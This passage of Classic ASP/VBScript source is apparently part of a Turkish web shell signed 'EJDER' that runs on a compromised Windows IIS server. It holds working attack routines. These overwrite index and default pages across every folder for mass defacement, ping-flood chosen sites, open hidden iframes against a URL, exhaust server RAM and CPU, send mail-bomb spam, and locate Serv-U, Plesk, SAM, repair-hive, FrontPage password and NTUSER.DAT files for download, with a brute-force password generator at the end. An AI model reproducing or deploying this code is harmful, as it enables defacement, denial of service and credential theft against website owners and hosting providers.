response.write "<table align=""center"" width=""100%"" class=""kbrtm""><tr><td align='center'><form name=""MssqlbyE_j_d?er"" method='post' action='"&FilePath&"?mode=34&konum="&konum&"&Time="&time&"'><input name='sec' checked value='mssql' type='radio'> <b>MsSQL</b> &nbsp;&nbsp; - &nbsp;&nbsp; <input name='sec' value='mysql' type='radio'> <b>MySQL</b></td></tr><tr><td>Server Ad<41> & IP : <input name='file' value='"&file&"' style='color=#C6FCBE' size=35 type='password'></td></tr><tr><td> DB Ad<41> : <input name='dbname' style='color=#C6FCBE' type='password' value='"&dbname&"' size=44></td></tr><tr><td> KAd<41> : <input name='dbkadi' style='color=#C6FCBE' value='"&dbkadi&"' type='password' size=46></td></tr><tr><td> <20>ifre : <input name='dbsifre' style='color=#C6FCBE' type='password' value='"&dbsifre&"' size=46></td></tr><td align='center'> <input name='islem' type='hidden' value='1'><input name='gooo' value=' ..:: Ba<42>lan ::..' type='Submit'></td></tr></form></table>"
yazorta("T<>m haklar<61> Sakl<6B>d<EFBFBD>r by EJDER =)")
response.write "</td></tr></table></center>"
end sub
sub MassCopier(hedef)
on error resume next
Set cloner = fso.GetFile(hacked)
cloner.Copy hedef,true
Set cloner = Nothing
end sub
sub MassCreater(yer,savsak)
on error resume next
Set savsakcom = FSO.CreateTextFile(yer, True)
savsakcom.write savsak
Set savsakcom = Nothing
end sub
sub MassAttack2(yer,ej,svk)
if hash3 = "ok" then
yer = yer&"\"&svk
end if
on error resume next
if not islem = "ozel" then
if hash9 = "copy" then
MassCopier(yer&"\index.html")
MassCopier(yer&"\index.htm")
MassCopier(yer&"\index.asp")
MassCopier(yer&"\index.cfm")
MassCopier(yer&"\index.php")
MassCopier(yer&"\default.html")
MassCopier(yer&"\default.htm")
MassCopier(yer&"\default.asp")
MassCopier(yer&"\default.cfm")
MassCopier(yer&"\default.php")
MassCopier(yer&"\Hmei7.htm")
else
Call MassCreater(yer&"\index.html",ej)
Call MassCreater(yer&"\index.htm",ej)
Call MassCreater(yer&"\index.asp",ej)
Call MassCreater(yer&"\index.cfm",ej)
Call MassCreater(yer&"\index.php",ej)
Call MassCreater(yer&"\default.html",ej)
Call MassCreater(yer&"\default.htm",ej)
Call MassCreater(yer&"\default.asp",ej)
Call MassCreater(yer&"\default.cfm",ej)
Call MassCreater(yer&"\default.php",ej)
Call MassCreater(yer&"\Hmei7.htm",ej)
end if
else
if hash9 ="copy" then
MassCopier(yer&"\"&inject1)
else
Call MassCreater(yer&"\"&inject1,ej)
end if
end if
a = Replace(FilePath&"?konum="&yer&"&Time="&time,"\","/")
If Err.Number = 0 Then
response.write "<table width=""100%""><tr><td class=""kbrtm""><a href=# onClick=""openInMainWin('"&a&"');""> "&yer&" </a><font color=#C6FCBE> OK !! <font class=""k1""><3E></font></td></tr></table>"
else
response.write "<table width=""100%""><tr><td class=""kbrtm""><a href=# onClick=""openInMainWin('"&a&"');""> "&yer&" </a><font color=#FE7A84> Noo :( !! <font class=""k1""><3E></font></td></tr></table>"
end if
Err.Number = 0
Response.Flush
end sub
sub MassAttack(yer,ej,svk)
dim fastejder
on error resume next
Set f = FSO.GetFolder(yer)
Set fc = f.SubFolders
For Each f1 In fc
if hash3 = "ok" then
fastejder = f1.path&"\"&svk
else
fastejder = f1.path
end if
if not islem = "ozel" then
if hash9 = "copy" then
MassCopier(fastejder&"\index.html")
MassCopier(fastejder&"\index.htm")
MassCopier(fastejder&"\index.asp")
MassCopier(fastejder&"\index.cfm")
MassCopier(fastejder&"\index.php")
MassCopier(fastejder&"\default.html")
MassCopier(fastejder&"\default.htm")
MassCopier(fastejder&"\default.asp")
MassCopier(fastejder&"\default.cfm")
MassCopier(fastejder&"\default.php")
MassCopier(fastejder&"\Hmei7.htm")
else
Call MassCreater(fastejder&"\index.html",ej)
Call MassCreater(fastejder&"\index.htm",ej)
Call MassCreater(fastejder&"\index.asp",ej)
Call MassCreater(fastejder&"\index.cfm",ej)
Call MassCreater(fastejder&"\index.php",ej)
Call MassCreater(fastejder&"\default.html",ej)
Call MassCreater(fastejder&"\default.htm",ej)
Call MassCreater(fastejder&"\default.asp",ej)
Call MassCreater(fastejder&"\default.cfm",ej)
Call MassCreater(fastejder&"\default.php",ej)
Call MassCreater(fastejder&"\Hmei7.htm",ej)
end if
else
if hash9 = "copy" then
MassCopier(fastejder&"\"&inject1)
else
Call MassCreater(fastejder&"\"&inject1,ej)
end if
end if
a = Replace(FilePath&"?konum="&fastejder&"&Time="&time,"\","/")
If Err.Number = 0 Then
response.write "<table width=""100%""><tr><td class=""kbrtm""><a href=# onClick=""openInMainWin('"&a&"');""> "&fastejder&" </a><font color=#C6FCBE> OK !! <font class=""k1""><3E></font></td></tr></table>"
else
response.write "<table width=""100%""><tr><td class=""kbrtm""><a href=# onClick=""openInMainWin('"&a&"');""> "&fastejder&" </a><font color=#FE7A84> Noo :( !! <font class=""k1""><3E></font></td></tr></table>"
end if
Err.Number = 0
Response.Flush
if islem = "brute" then
Call MassAttack(f1.path&"\",ej,svk)
end if
Next
end sub
Sub tester(yer)
on error resume next
Set f = FSO.GetFolder(yer)
Set fc = f.SubFolders
For Each f1 In fc
a = Replace(FilePath&"?konum="&f1.path&"&Time="&time,"\","/")
response.write "<table width=""100%""><tr><td class=""kbrtm""><a href=# onClick=""openInMainWin('"&a&"');""> "&f1.path&" </a> "
Response.Flush
Err.Number = 0
on error resume next
Set f = FSO.GetFolder(f1.path)
if Err.Number <> 0 then
response.write "&nbsp;<b><font color=#FBE1D7>Oku :</font></b> <font color=#FE7A84 class=""k1""><3E></font>&nbsp;"
else
response.write "&nbsp;<b><font color=#FAFEDE>Oku :</font></b> <font color=#C6FCBE class=""k1""><3E></font>&nbsp;"
end if
set f = nothing
Err.Number = 0
Response.Flush
on error resume next
Set MyFile = FSO.CreateTextFile(f1.path & "test.ejder", True)
MyFile.write " Ejder Was Here... =) "
set MyFile = Nothing
if Err.Number <> 0 then
response.write "&nbsp;<b><font color=#FBE1D7>Yaz :</font></b> <font color=#FE7A84 class=""k1""><3E></font>&nbsp;"
else
response.write "&nbsp;<b><font color=#FAFEDE>Yaz :</font></b> <font color=#C6FCBE class=""k1""><3E></font>&nbsp;"
end if
set f = nothing
Err.Number = 0
Response.Flush
on error resume next
FSO.DeleteFile f1.path & "test.ejder",true
if Err.Number <> 0 then
response.write "&nbsp;<b><font color=#FBE1D7>Sil :</font></b> <font color=#FE7A84 class=""k1""><3E></font>&nbsp;"
else
response.write "&nbsp;<b><font color=#FAFEDE>Sil :</font></b> <font color=#C6FCBE class=""k1""><3E></font>&nbsp;"
end if
set f = nothing
Err.Number = 0
Response.Flush
response.write "</td></tr></table>"
Response.Flush
Call tester(f1.path)
Next
end sub
Sub arama(yer)
on error resume next
Set f = FSO.GetFolder(yer)
Set fc = f.SubFolders
For Each f1 In fc
Set f2 = FSO.GetFolder(f1.path)
Set fc2 = f2.Files
For Each f12 In fc2
if InStr(Ucase(f12.name),Ucase(hacked)) > 0 then
downStr = "<table align=""center""><tr><td align=""center"" class=""kbrtm""><font class=""k2""><a href='"&FilePath&"?mode=6&file="&f12.path&"&konum="&konum&"&Time="&time&"'> <20> </a></font>"
if Ucase(hacked)="MDB" then
Response.Write downStr&"<font class=""k1"" ><a href='"&FilePath&"?mode=5&konum="&konum&"&del="&f12.path&"&Time="&time&"'> <20> </a></font> - <a href='"&dosyapath&"?mode=13&file="&f12.path&"&konum="&konum&"&Time="&time&"'>"&f12.path&" ["&f12.size&"]"&"</a></b><br></td></tr></table>"
i=i+1
else
Response.Write downStr&"<font class=""k1""><a href='"&FilePath&"?mode=5&konum="&konum&"&del="&f12.path&"&Time="&time&"'> <20> </a><a href='"&FilePath&"?mode=10&file="&f12.path&"&konum="&konum&"&Time="&time&"'> ! </a></font> - <a href='"&dosyapath&"?mode=9&file="&f12.path&"&konum="&konum&"&Time="&time&"'>"&f12.path&" [<font color=yellow>"&f12.size&"</font>]"&"</a></b><br></td></tr></table>"
i=i+1
end if
end if
Response.Flush
next
set f2 = nothing
set fc2 = nothing
Call arama(f1.path)
next
set f = nothing
set fc = nothing
end sub
Sub Ping_Bomb_Ejder(ejdersite,ejderpings,ejdertimeout,ejderbyte)
'/// by EJDER. <20>zel mod<6F>ller ekledim =). Ne Mutlu T<>RK<52>M D<>YENE.
noattack = 1
bonus = 0
If ejderpings = "" Then ejderpings = 4
If ejderpings = 0 Then ejderpings = 4
If ejdertimeout = "" Then ejdertimeout = 750
If InStr(ejdersite,"savsak") > 0 or InStr(ejdersite,"yagmurlu") or InStr(ejdersite,"com.tr") or InStr(ejdersite,"gov.tr") > 0 then noattack = 0
If InStr(ejdersite,"cyber") > 0 or InStr(ejdersite,"tahri") > 0 or InStr(ejdersite,"hack") > 0 or InStr(ejdersite,"team") > 0 then bonus = 1
response.write "<textarea style='width:100%;height:350;' >"
if noattack = 1 then
if bonus = 1 then
ejderpings = ejderpings * 20
response.write "Ekstra *20 Bonus kazand<6E>n. "
end if
Set Sh = CreateObject("WScript.Shell")
if ejderbyte = "" then
Set ExCmd = Sh.Exec("ping -n " & ejderpings _
& " -w " & ejdertimeout & " " & ejdersite)
else
Set ExCmd = Sh.Exec("ping -n " & ejderpings _
& " -w " & ejdertimeout & " " & ejdersite & " -l " & ejderbyte)
end if
depola = ExCmd.StdOut.ReadAll
response.write depola
Select Case InStr(ExCmd.StdOut.Readall,"TTL=")
Case 0 IsConnectable = False
Case Else IsConnectable = True
End Select
else
response.write "Tasvip Etmedi<64>imiz Bir siteye Sald<6C>r<EFBFBD> yap<61>yorsun. Tekrarlama K<>t<EFBFBD> olur senin i<>in. CIZZZ =) euheu by EJDER "
response.write "Bu FSO sahibine, GOv.TR ve Com.TR sitelere kar<61><72> Koruma ger<65>ekle<6C>tirildi. T<>RK T<>RK <20> VURMAZ.. Kalle<6C>lik yapma by EJDER "
response.cookies("ejder") = "1"
response.cookies("ejder").expires = now + 365
count=0
end if
response.write "</textarea>"
End Sub
Sub Somurgen(filex,urlx)
for i=0 to CInt(filex)
response.write "<table align=""center"" width=""100%"" class=""kbrtm""><tr><td>"&i&". Robot Ba<42>land<6E>..</td></tr></table>"
response.Write "<iframe style='width:0; height:0' src='"&urlx&"'></iframe>"
next
End Sub
Sub Ram_Cpu
on error resume next
response.write "<table align=""center"" width=""100%"" class=""kbrtm""><tr><td align='center'><b> RAM & CPU FUcker for SERVER by EJDER =) 1.0 </b></td></tr></table>"
response.write "<br><br><table align=""center"" width=""100%"" class=""kbrtm""><tr><td align='center'> ZARAR verme MEkanizmas<61> Devrede... </td></tr></table>"
response.write "<br><table align=""center"" width=""100%"" class=""kbrtm""><tr><td align='center'> Durdurmak i<>in Pencereyi kapat. Her 2 Saniyede bir 3 program a<><61>l<EFBFBD>yor...</td></tr></table>"
response.write "<br><table align=""center"" width=""100%"" class=""kbrtm""><tr><td align='center'> <b>by EJDER</b></td></tr></table>"
response.Write "<iframe style='width:0; height:0' src='"&FilePath&"?mode=31&islem=1'></iframe>"
response.Write "<iframe style='width:0; height:0' src='"&FilePath&"?mode=31&islem=2'></iframe>"
response.Write "<iframe style='width:0; height:0' src='"&FilePath&"?mode=31&islem=3'></iframe>"
response.write "<META http-equiv=refresh content=2;URL='"&FilePath&"?mode=31&file=1'>"
response.flush
end Sub
function TextYarat(intLen)
str=""
Randomize
for i=1 to intLen
str=str & Mid(charset,Int((Len(charset)-1+1)*Rnd+1),1)
next
TextYarat=str
end function
function MailSec()
dim strNewText,i
str=""
Randomize
mail = mail_array(round(rnd()*4))
uzanti = uzanti_array(round(rnd()*6))
str = "@"& mail &"."& uzanti
MailSec = str
end function
function MailKorumasi(mailx)
MailKorumasi = 0
for i=0 to 9
If Instr(UCASE(mailx), yasak_array(i)) > 0 Then
MailKorumasi = 1
end if
next
end function
Function MailYarat()
MailYarat = TextYarat(8) & MailSec()
end function
Function TextYarat2()
TextYarat2 = TextYarat(200)
end function
Function BaslikYarat()
BaslikYarat = TextYarat(10)
end function
Sub MailBomber_by_Ejder(alicix)
response.cookies("bilesen") = "1"
on error resume next
Set mailObj = Server.CreateObject("CDONTS.NewMail")
mailObj.From = MailYarat()
mailObj.To = alicix
mailObj.Subject = BaslikYarat()
mailObj.Body = TextYarat2()
mailObj.Send
Set mailObj = Nothing
if err <> 0 then
on error resume next
Set mailObj = Server.CreateObject("CDO.Message")
mailObj.From = MailYarat()
mailObj.To = alicix
mailObj.Subject = BaslikYarat()
mailObj.TextBody = TextYarat2()
mailObj.Send
Set mailObj = Nothing
if err <> 0 then
response.cookies("bilesen") = "0"
end if
end if
End Sub
Sub yazorta(yazx)
response.write "<table align=""center"" width=""100%"" class=""kbrtm""><tr><td align='center'> "&yazx&" </td></tr></table>"
End Sub
Sub yazsol(yazx)
response.write "<table align=""center"" width=""100%"" class=""kbrtm""><tr><td align='left'> "&yazx&" </td></tr></table>"
End Sub
Sub yazortaa(yazx)
response.write "<br><table align=""center"" width=""100%"" class=""kbrtm""><tr><td align='center'> "&yazx&" </td></tr></table>"
End Sub
Sub yazsoll(yazx)
response.write "<br><table align=""center"" width=""100%"" class=""kbrtm""><tr><td align='left'> "&yazx&" </td></tr></table>"
End Sub
Function OS()
on error resume next
strComputer = "."
Set objWMI = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMI.ExecQuery("Select * from Win32_OperatingSystem",,48)
For Each objItem in colItems
VerBig = Left(objItem.Version,3)
Next
Select Case VerBig
Case "5.0" OSystem = "W2K"
Case "5.1" OSystem = "XP"
Case "5.2" OSystem = "Windows 2003"
Case "4.0" OSystem = "NT 4.0**"
Case Else OSystem = "Unknown - probably Win 9x"
End Select
OS = OSystem
End Function
Sub FolderExistx(yer)
if FSO.FolderExists(yer) then
yazorta("<font class=""k1""><a title="" Dizini Kopyala & Ta<54><61> "" href='"&FilePath&"?mode=2&konum="&yer&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">4</a></font> <font class=""k1""><a title="" Dizini Sil "" href='"&FilePath&"?mode=4&konum="&yer&"&del="&yer&"&Time="&time&"'><3E></a> 1</font><font size=2><b><a title="" Dizinin i<>ine Gir "" href='"&FilePath&"?konum="&yer&"&Time="&time&"'> "&yer&"</a></b>")
end if
End Sub
Sub EjderServuRemote()
j=0
servu = array("C:\Program Files\base.ini","C:\base.ini","C:\Program Files\Serv-U\base.ini","C:\Program Files\Serv-U\ServUAdmin.ini","C:\Program Files\Serv-U\SERV-U.ini","C:\Program Files\Serv-U\ServUDaemon.ini","C:\Program Files\SERV-U.ini","C:\SERV-U.ini","C:\Program Files\ServUDaemon.ini","C:\ServUDaemon.ini","C:\Program Files\WS_FTP.ini","C:\WS_FTP.ini","C:\Program Files\WS_FTP\WS_FTP.ini","C:/Program Files/Gene6 FTP Server/RemoteAdmin/remote.ini","C:/users.txt","D:/users.txt","E:/users.txt")
for i=0 to 16
if FSO.FileExists(servu(i)) then
downStr = "<a title=""Dosyay<61> Sil"" href='"&FilePath&"?mode=5&konum="&FolderPath&"&del="&FolderPath&"\"&servu(i)&"&Time="&time&"'><3E></a><font face=webdings><a title="" Download et "" href='"&FilePath&"?mode=6&file="&servu(i)&"&konum="&FolderPath&"&Time="&time&"'><3E></a></font><font face=wingdings><a title="" Dosyay<61> Kopyala & Ta<54><61> "" href='"&FilePath&"?mode=7&file="&servu(i)&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">4</a><a title="" Dosya Ad & Format De<44>i<EFBFBD>tir "" href='"&FilePath&"?mode=16&file="&servu(i)&"&islem="&servu(i)&"&konum="&FolderPath&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">?</a></font>"
yazorta("<a title="" <20><>ini G<>r<EFBFBD>nt<6E>lemek i<>in T<>kla "" href='"&FilePath&"?mode=9&file="&servu(i)&"&konum="&FolderPath&"&Time="&time&"'>"&servu(i)&"</a></b> <font face=wingdings size=4><3E> <a title="" Dosyay<61> Editlemek i<>in T<>kla by EJDER :) "" href='"&FilePath&"?mode=10&file="&servu(i)&"&Time="&time&"&konum="&FolderPath&"'>!</a>"&downStr&"</font>")
j=j+1
end if
next
if j = 0 then
yazorta("<center><font color=#FE7A84> <font face=Wingdings size=5>N</font> Remote olarak Sonu<6E> bulunamad<61>. Geli<6C>mi<6D> aramay<61> se<73>iniz. <font face=Wingdings size=5>N</font> </font>")
end if
servufolder = array("C:\Program Files\Serv-U","C:/Program Files/Gene6 FTP Server/RemoteAdmin","C:/Program Files/Gene6 FTP Server/Accounts/Helm FTP Users/users")
for i=0 to 2
FolderExistx(servufolder(i))
next
End Sub
Sub EjderPleskRemote()
j=0
plesk = array("c:/Program Files/SWsoft/Plesk/MySQL/Data/mysql","c:/Program Files/SWsoft/Plesk","c:/Program Files/SWsoft/Plesk/MySQL/Data/psa","c:/Program Files/SWsoft/Plesk/Databases/MySQL/Data/mysql","c:\Program Files\swsoft\autsav.sav")
for i=0 to 3
if FSO.FolderExists(plesk(i)) then
yazorta("<font class=""k1""><a title="" Dizini Kopyala & Ta<54><61> "" href='"&FilePath&"?mode=2&konum="&plesk(i)&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">4</a></font> <font class=""k1""><a title="" Dizini Sil "" href='"&FilePath&"?mode=4&konum="&plesk(i)&"&del="&plesk(i)&"&Time="&time&"'><3E></a> 1</font><font size=2><b><a title="" Dizinin i<>ine Gir "" href='"&FilePath&"?konum="&plesk(i)&"&Time="&time&"'>"&plesk(i)&"</a></b>")
j=j+1
end if
next
if j = 0 then
yazorta("<center><font color=#FE7A84> <font face=Wingdings size=5>N</font> "&plesk(0)&" ve "&plesk(1)&" dizinleri bulunamad<61>. <font face=Wingdings size=5>N</font> </font>")
end if
if FSO.FileExists(plesk(4)) then
downStr = "<a title=""Dosyay<61> Sil"" href='"&FilePath&"?mode=5&konum="&FolderPath&"&del="&FolderPath&"\"&servu(i)&"&Time="&time&"'><3E></a><font face=webdings><a title="" Download et "" href='"&FilePath&"?mode=6&file="&servu(i)&"&konum="&FolderPath&"&Time="&time&"'><3E></a></font><font face=wingdings><a title="" Dosyay<61> Kopyala & Ta<54><61> "" href='"&FilePath&"?mode=7&file="&servu(i)&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">4</a><a title="" Dosya Ad & Format De<44>i<EFBFBD>tir "" href='"&FilePath&"?mode=16&file="&servu(i)&"&islem="&servu(i)&"&konum="&FolderPath&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">?</a></font>"
yazorta("<a title="" <20><>ini G<>r<EFBFBD>nt<6E>lemek i<>in T<>kla "" href='"&FilePath&"?mode=9&file="&servu(i)&"&konum="&FolderPath&"&Time="&time&"'>"&servu(i)&"</a></b> <font face=wingdings size=4><3E> <a title="" Dosyay<61> Editlemek i<>in T<>kla by EJDER :) "" href='"&FilePath&"?mode=10&file="&servu(i)&"&Time="&time&"&konum="&FolderPath&"'>!</a>"&downStr&"</font>")
else
yazorta("<center><font color=#FE7A84> <font face=Wingdings size=5>N</font> Plesk'in Autsav.sav Dosyas<61> bulunamad<61>. <font face=Wingdings size=5>N</font> </font>")
end if
End Sub
Sub EjderSam()
Err.Number=0
on error resume next
Set MyFile = FSO.CreateTextFile("C:config\test.ejder", True)
MyFile.write " Ejder Was Here... =) "
set MyFile = Nothing
if Err.Number <> 0 then
response.write "<center>&nbsp;<b><font color=#FBE1D7>Yaz :</font></b> <font color=#FE7A84 class=""k1""><3E></font>&nbsp;"
else
response.write "<center>&nbsp;<b><font color=#FAFEDE>Yaz :</font></b> <font color=#C6FCBE class=""k1""><3E></font>&nbsp;"
end if
Err.Number=0
on error resume next
FSO.DeleteFile "C:config\test.ejder",true
if Err.Number <> 0 then
response.write "&nbsp;<b><font color=#FBE1D7>Sil :</font></b> <font color=#FE7A84 class=""k1""><3E></font>&nbsp;</center>"
else
response.write "&nbsp;<b><font color=#FAFEDE>Sil :</font></b> <font color=#C6FCBE class=""k1""><3E></font>&nbsp;</center>"
end if
on error resume next
url = "C:config\"
Set f = FSO.GetFolder(url)
if err <> 0 then
url = "C:\WINDOWS\system32\config\"
Set f = FSO.GetFolder(url)
end if
Set fc = f.Files
For Each f1 In fc
downStr = "<a title=""Dosyay<61> Sil"" href='"&FilePath&"?mode=5&konum="&url&"&del="&url&""&f1.name&"&Time="&time&"'><3E></a><font face=webdings><a title="" Download et "" href='"&FilePath&"?mode=6&file="&url&""&f1.name&"&konum="&url&"&Time="&time&"'><3E></a></font><font face=wingdings><a title="" Dosyay<61> Kopyala & Ta<54><61> "" href='"&FilePath&"?mode=7&file="&url&""&f1.name&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">4</a><a title="" Dosya Ad & Format De<44>i<EFBFBD>tir "" href='"&FilePath&"?mode=16&file="&url&""&f1.name&"&islem="&f1.name&"&konum="&FolderPath&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">?</a></font>"
yazorta("<a title="" <20><>ini G<>r<EFBFBD>nt<6E>lemek i<>in T<>kla "" href='"&FilePath&"?mode=9&file="&url&""&f1.Name&"&konum="&url&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4><3E> <a title="" Dosyay<61> Editlemek i<>in T<>kla by EJDER :) "" href='"&FilePath&"?mode=10&file="&url&""&f1.name&"&Time="&time&"&konum="&url&"'>!</a>"&downStr&"</font>")
Next
end Sub
Sub EjderVti_Pvt()
j=0
local = request.servervariables("APPL_PHYSICAL_PATH")
vti = array(""&local&"\_vti_pvt\access.cnf",""&local&"\..\_vti_pvt\access.cnf",""&local&"\..\..\_vti_pvt\access.cnf",""&local&"\..\..\..\_vti_pvt\access.cnf",""&local&"\_vti_pvt\postinfo.html",""&local&"\..\_vti_pvt\postinfo.html",""&local&"\..\..\_vti_pvt\postinfo.html",""&local&"\..\..\..\_vti_pvt\postinfo.html",""&local&"\vti_pvt/service.pwd",""&local&"\..\vti_pvt/service.pwd",""&local&"\..\..\vti_pvt/service.pwd",""&local&"\..\..\..\vti_pvt/service.pwd",""&local&"/vti_pvt/users.pwd",""&local&"/../vti_pvt/users.pwd",""&local&"/../../vti_pvt/users.pwd",""&local&"/../../../vti_pvt/users.pwd",""&local&"/vti_pvt/authors.pwd",""&local&"/../vti_pvt/authors.pwd",""&local&"/../../vti_pvt/authors.pwd",""&local&"/../../../vti_pvt/authors.pwd")
for i=0 to 19
if FSO.FileExists(vti(i)) then
downStr = "<a title=""Dosyay<61> Sil"" href='"&FilePath&"?mode=5&konum="&FolderPath&"&del="&FolderPath&"\"&vti(i)&"&Time="&time&"'><3E></a><font face=webdings><a title="" Download et "" href='"&FilePath&"?mode=6&file="&vti(i)&"&konum="&FolderPath&"&Time="&time&"'><3E></a></font><font face=wingdings><a title="" Dosyay<61> Kopyala & Ta<54><61> "" href='"&FilePath&"?mode=7&file="&vti(i)&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">4</a><a title="" Dosya Ad & Format De<44>i<EFBFBD>tir "" href='"&FilePath&"?mode=16&file="&vti(i)&"&islem="&vti(i)&"&konum="&FolderPath&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">?</a></font>"
yazorta("<a title="" <20><>ini G<>r<EFBFBD>nt<6E>lemek i<>in T<>kla "" href='"&FilePath&"?mode=9&file="&vti(i)&"&konum="&FolderPath&"&Time="&time&"'>"&vti(i)&"</a></b> <font face=wingdings size=4><3E> <a title="" Dosyay<61> Editlemek i<>in T<>kla by EJDER :) "" href='"&FilePath&"?mode=10&file="&vti(i)&"&Time="&time&"&konum="&FolderPath&"'>!</a>"&downStr&"</font>")
j=j+1
end if
next
if j = 0 then
yazorta("<center><font color=#FE7A84> <font face=Wingdings size=5>N</font> Sonu<6E> bulunamad<61>. Daha geni<6E> Arama yap<61>n by EJDER <font face=Wingdings size=5>N</font> </font>")
end if
end sub
Sub EjderNTUser(oturum)
j=0
ntuser = array("c:\documents and settings\"&oturum&"\NTUSER.DAT","c:\documents and settings\Administrator\NTUSER.DAT","c:\documents and settings\"&oturum&"\ntuser.dat.log","c:\documents and settings\Administrator\ntuser.dat.log","c:\documents and settings\"&oturum&"\ntuser.ini","c:\documents and settings\Administrator\ntuser.ini")
for i=0 to 5
if FSO.FileExists(ntuser(i)) then
downStr = "<a title=""Dosyay<61> Sil"" href='"&FilePath&"?mode=5&konum="&FolderPath&"&del="&FolderPath&"\"&ntuser(i)&"&Time="&time&"'><3E></a><font face=webdings><a title="" Download et "" href='"&FilePath&"?mode=6&file="&ntuser(i)&"&konum="&FolderPath&"&Time="&time&"'><3E></a></font><font face=wingdings><a title="" Dosyay<61> Kopyala & Ta<54><61> "" href='"&FilePath&"?mode=7&file="&ntuser(i)&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">4</a><a title="" Dosya Ad & Format De<44>i<EFBFBD>tir "" href='"&FilePath&"?mode=16&file="&ntuser(i)&"&islem="&ntuser(i)&"&konum="&FolderPath&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">?</a></font>"
yazorta("<a title="" <20><>ini G<>r<EFBFBD>nt<6E>lemek i<>in T<>kla "" href='"&FilePath&"?mode=9&file="&ntuser(i)&"&konum="&FolderPath&"&Time="&time&"'>"&ntuser(i)&"</a></b> <font face=wingdings size=4><3E> <a title="" Dosyay<61> Editlemek i<>in T<>kla by EJDER :) "" href='"&FilePath&"?mode=10&file="&ntuser(i)&"&Time="&time&"&konum="&FolderPath&"'>!</a>"&downStr&"</font>")
j=j+1
end if
next
if j = 0 then
yazorta("<center><font color=#FE7A84> <font face=Wingdings size=5>N</font> Sonu<6E> bulunamad<61>. Daha geni<6E> Arama yap<61>n by EJDER <font face=Wingdings size=5>N</font> </font>")
end if
end sub
Sub EjderRepair()
Err.Number=0
on error resume next
Set MyFile = FSO.CreateTextFile("c:..\repair\test.ejder", True)
MyFile.write " Ejder Was Here... =) "
set MyFile = Nothing
if Err.Number <> 0 then
response.write "<center>&nbsp;<b><font color=#FBE1D7>Yaz :</font></b> <font color=#FE7A84 class=""k1""><3E></font>&nbsp;"
else
response.write "<center>&nbsp;<b><font color=#FAFEDE>Yaz :</font></b> <font color=#C6FCBE class=""k1""><3E></font>&nbsp;"
end if
Err.Number=0
on error resume next
FSO.DeleteFile "c:..\repair\test.ejder",true
if Err.Number <> 0 then
response.write "&nbsp;<b><font color=#FBE1D7>Sil :</font></b> <font color=#FE7A84 class=""k1""><3E></font>&nbsp;</center>"
else
response.write "&nbsp;<b><font color=#FAFEDE>Sil :</font></b> <font color=#C6FCBE class=""k1""><3E></font>&nbsp;</center>"
end if
on error resume next
url = "c:..\repair\"
Set f = FSO.GetFolder(url)
if err <> 0 then
url = "C:\WINDOWS\repair\"
Set f = FSO.GetFolder(url)
end if
Set fc = f.Files
For Each f1 In fc
downStr = "<a title=""Dosyay<61> Sil"" href='"&FilePath&"?mode=5&konum="&url&"&del="&url&""&f1.name&"&Time="&time&"'><3E></a><font face=webdings><a title="" Download et "" href='"&FilePath&"?mode=6&file="&url&""&f1.name&"&konum="&url&"&Time="&time&"'><3E></a></font><font face=wingdings><a title="" Dosyay<61> Kopyala & Ta<54><61> "" href='"&FilePath&"?mode=7&file="&url&""&f1.name&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">4</a><a title="" Dosya Ad & Format De<44>i<EFBFBD>tir "" href='"&FilePath&"?mode=16&file="&url&""&f1.name&"&islem="&f1.name&"&konum="&FolderPath&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">?</a></font>"
yazorta("<a title="" <20><>ini G<>r<EFBFBD>nt<6E>lemek i<>in T<>kla "" href='"&FilePath&"?mode=9&file="&url&""&f1.Name&"&konum="&url&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4><3E> <a title="" Dosyay<61> Editlemek i<>in T<>kla by EJDER :) "" href='"&FilePath&"?mode=10&file="&url&""&f1.name&"&Time="&time&"&konum="&url&"'>!</a>"&downStr&"</font>")
Next
end Sub
Function kodolustur(aralik)
' belirtitiim aral<61>kda kod olu<6C>tuuyorurum. 01#01#01#01# ba<62>lang<6E><67> ii<69>in by EJDER
dim coding
coding = ""
for i=1 to CInt(aralik)
coding = coding + "01#"
next
kodolustur = coding
End Function
Function diziolustur()
' Se<53>ilen Charset leri burda birle<6C>tiriyorum by EJDER
Dim dizi
dizi=""
if not k1 = "" then dizi = dizi & karakter1
if not k2 = "" then dizi = dizi & karakter2
if not k3 = "" then dizi = dizi & karakter3
if not k4 = "" then dizi = dizi & karakter4
diziolustur = dizi
End Function
Function Sifreyarat(codex,aralik,dizix)
' Stirng kodunu sa<73>dan <20><>z<EFBFBD>mleyerek <20>ifre yarat<61>yor by Ej;DER
dim hash
dim sifre
hash=""
sifre=""
i=CInt(aralik)
Do While i>0
hash = CInt(Mid(codex,((i-1)*3)+1,2)) ' Sa<53>dan say<61>lar<61> al<61>yor.
sifre = Mid(dizix,hash,1) & sifre
i=i-1
Loop
Sifreyarat = sifre
End Function
Function SonrakiAdim(codex,aralik,dizix)
' sonraki ad<61>ma haz<61>rl<72>k coded by EJDER ;)
Dim hash
hash = ""
increment=0
goup=0
hashing = ""
i=CInt(aralik)
Do While i>0
hash = CInt(Mid(codex,((i-1)*3)+1,2)) ' Sa<53>dan say<61>lar<61> al<61>yor.
' Carry out <20> di<64>eirne giri<72> yap increment the next one
if hash => Len(dizix) then
increment = 1
hash = 1
else if increment = 1 then
hash = hash+1
increment = 0
end if
end if
' e<>er ara1 hanelki <20>ifreleme bitti ise di<64>eirne <20>kams<6D> gerek ara1++
if i = 1 AND hash>= Len(dizix)-1 then goup=1
